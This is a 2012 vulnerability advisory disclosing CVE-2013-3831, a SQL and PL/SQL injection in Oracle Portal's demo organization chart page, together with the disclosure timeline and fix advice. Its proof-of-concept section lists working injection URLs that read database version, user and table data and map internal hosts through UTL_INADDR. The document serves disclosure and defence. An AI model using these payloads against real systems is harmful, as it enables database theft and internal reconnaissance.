2012-001: PL/SQL Injection in Oracle Portal Demo Organization Chart

Original release date: November 8th, 2012
Last revised: March 20th, 2013
Discovered by: Manuel Garcia Cardenas
Severity: 7,1/10 (CVSS Base Score)
CVE-ID: CVE-2013-3831

BACKGROUND

Web Organization Chart (Ora Version) is used to connect to the Oracle database. Ora version of "Web Organization Chart" selects information from the Oracle.

(HR) tables and converts it into a format that is readable for the Orgchart software.

DESCRIPTION

This bug was found using the demo portal PORTAL_DEMO.ORG_CHART.SHOW. To exploit the vulnerability only is needed use the version 1.0 of the HTTP protocol to interact with the application. It is possible to inject SQL code in the variable "p_arg_values".

PROOF OF CONCEPT 

*** SQL Injection ***

   Version:
   /pls/portal/PORTAL_DEMO.ORG_CHART.SHOW?

   p_arg_names=_max_levels&p_arg_values=1&p_arg_names=_start_with_field&p_arg_values=null&p_arg_names=_start_with_value&p_arg_values=:p_start_with_value'union

   +select+banner,null,null,null,null+from+v$version--

   User:
   /pls/portal/PORTAL_DEMO.ORG_CHART.SHOW?

   p_arg_names=_max_levels&p_arg_values=1&p_arg_names=_start_with_field&p_arg_values=null&p_arg_names=_start_with_value&p_arg_values=:p_start_with_value'union

   +select+user,null,null,null,null+from+dual--

   Actual Database:
   /pls/portal/PORTAL_DEMO.ORG_CHART.SHOW?

   p_arg_names=_max_levels&p_arg_values=1&p_arg_names=_start_with_field&p_arg_values=null&p_arg_names=_start_with_value&p_arg_values=:p_start_with_value'union

   +select+global_name,null,null,null,null+from+global_name--

   Lists of Databases:
   /pls/portal/PORTAL_DEMO.ORG_CHART.SHOW?

   p_arg_names=_max_levels&p_arg_values=1&p_arg_names=_start_with_field&p_arg_values=null&p_arg_names=_start_with_value&p_arg_values=:p_start_with_value'union

   +select+owner,null,null,null,null+from+all_tables--

   *** PL/SQL Injection ***

   For example, using the function UTL_INADDR.get_host_address we can found the internal address:

   /pls/portal/PORTAL_DEMO.ORG_CHART.SHOW?

   p_arg_names=_max_levels&p_arg_values=1&p_arg_names=_start_with_field&p_arg_values=null&p_arg_names=_start_with_value&p_arg_values=:p_start_with_value'union

   +select+UTL_INADDR.get_host_address,null,null,null,null+from+dual--

   Using a bruteforce attack on the range obtained and the function
   UTL_INADDR.get_host_name(), we can acquire a list of internal hosts:

   /pls/portal/PORTAL_DEMO.ORG_CHART.SHOW?

   p_arg_names=_max_levels&p_arg_values=1&p_arg_names=_start_with_field&p_arg_values=null&p_arg_names=_start_with_value&p_arg_values=:p_start_with_value

   %27union+select+UTL_INADDR.get_host_name('INTERNALs-IP'),null,null,null,null+from+dual--
       

BUSINESS IMPACT

Public defacement, confidential data leakage, and database server compromise can result from hese attacks. Client systems can also be targeted, and complete compromise of these client systems is also possible.

SYSTEMS AFFECTED

Demo Page of Oracle Portal Demo Organization Chart.

SOLUTION

All data received by the application and can be modified by the user, before making any kind of transaction with them must be validated.

REVISION HISTORY

December 02, 2012: Initial release to Oracle.
February 20, 2013: Last revision

DISCLOSURE TIMELINE

  • October 25, 2012: The vulnerability is discovered.
  • December 2, 2012: Initial release to Oracle.
  • February 20, 2013: Vulnerability already corrected but will not be included in CPUs. Credits in CPUApr2013.
  • October 11, 2013: The following issue reported is fixed in the upcoming Critical Patch Update

REFERENCES

LEGAL NOTICES

The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.

ABOUT

Internet Security Auditors is a Spain and Colombia based company leader in web application testing, network security, penetration testing, security compliance implementation and assessing. Our clients include some of the largest companies in areas such as finance, telecommunications, insurance, ITC, etc. We are vendor independent provider with a deep expertise since 2001. Our efforts in R&D include vulnerability research, open security project collaboration and whitepapers, presentations and security events participation and promotion. For further information regarding our security services, contact us.